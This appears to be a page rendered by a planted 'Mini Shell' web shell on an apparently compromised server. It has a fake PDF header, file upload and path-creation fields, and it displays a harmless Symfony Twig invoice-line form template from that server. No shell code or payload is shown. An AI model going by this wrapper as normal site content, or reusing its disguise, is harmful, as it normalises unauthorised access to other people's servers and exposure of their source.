%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emtnaeewxm/www/src/EEM/PieceBundle/Resources/views/piece/
Upload File :
Create Path :
Current File : /home/emtnaeewxm/www/src/EEM/PieceBundle/Resources/views/piece/_form_piece.html.twig

{{ form_start(form,{'attr':{'id':'form_piece'}}) }}
<div class="row">
    <div class="col-lg-6">
        {{ form_row(form.client) }}
        {{ form_errors(form.client) }}
    </div>
    <div class="col-lg-6">
        <p><b style="font-size:18px;">{{ abvTypePiece }}{{ annee }}{{ num|numeroPiece }}</b></p>
        <p>Date: {{ "now"|date('d/m/Y') }}</p>
    </div>
</div>
<table class="table">
    <tr>
        <th>Code à barre</th>
        <th>Article</th>
        <th>Prix</th>
        <th style="width: 10%">Qte</th>
        <th>Total</th>
        <th></th>
    </tr>
    {% set index=0 %}
    <tbody id="lignePiece-fields-list"
           data-prototype="{% filter escape %}
                                                     {{ include('@EEMPiece/piece/prototype_lignePiece.html.twig') }}
                                                 {% endfilter %}"
           data-widget-piece="{{ '<tr></tr>'|e }}">
    {% for lignePiece in form.lignePieces %}
        <tr class="ligne_piece" id="ligne_piece_{{ index }}">
            <td>
                {{ form_widget(lignePiece.codeABarre,{'attr':{'url_code_bare':path('article_ligne_piece_code_bare'),'class':'code_bare_article_piece','index':index}}) }}
                <img src="{{ asset('images/loading.svg') }}" class="loading_code_barre loading_code_barre_{{ index }} d-none">
            </td>
            <td class="position-relative">
                {{ form_widget(lignePiece.article,{'attr':{'url_select':path('article_ligne_piece'),'index':index}}) }}
                <img src="{{ asset('images/loading.svg') }}" class="loading_article_piece loading_article_piece_{{ index }} d-none">
                {{ form_widget(lignePiece.name) }}
            </td>
            <td>
                {% set prix_achat= lignePiece.vars.value.article.prixAchat is defined ? lignePiece.vars.value.article.prixAchat : 0 %}
                {{ form_widget(lignePiece.prix,{'attr':{'index':index,'prix_achat':prix_achat,'class':' text-right','class':'prix_article_piece'}}) }}
            </td>
            <td>
                {{ form_widget(lignePiece.qte,{'attr':{'index':index,'class':'qte_article_piece'}}) }}
            </td>
            <td>
                {{ form_widget(lignePiece.totalPrix,{'attr':{'readonly':'readonly','index': index}}) }}
            </td>
            <td class="text-right">
                <button type="button" class="btn btn-danger btn-sm delete_ligne_piece" index="{{ index }}"><span
                            class="fa fa-trash-alt"></span>
                </button>
            </td>
        </tr>
        {% set index=index+1 %}
    {% endfor %}
    </tbody>
    <tr>
        <th colspan="4" class="text-right">
            TOTAL
        </th>
        <th colspan="1">
            <input type="text" class="form-control total_piece text-right" value="0.000" readonly>
        </th>
    </tr>
</table>
<div class="row">
    <div class="col-lg-12 text-right">
        <button type="button" class="btn btn-secondary btn-sm ajouter_nouveau_ligne" data-list="#lignePiece-fields-list">
            Ajouter un article
        </button>
    </div>
</div>
<div class="row">
    <div class="col-lg-12">
        <input type="button" value="Enregistrer" class="btn btn-success btn-sm btn_submit_piece"/>
    </div>
</div>
{{ form_end(form) }}

Zerion Mini Shell 1.0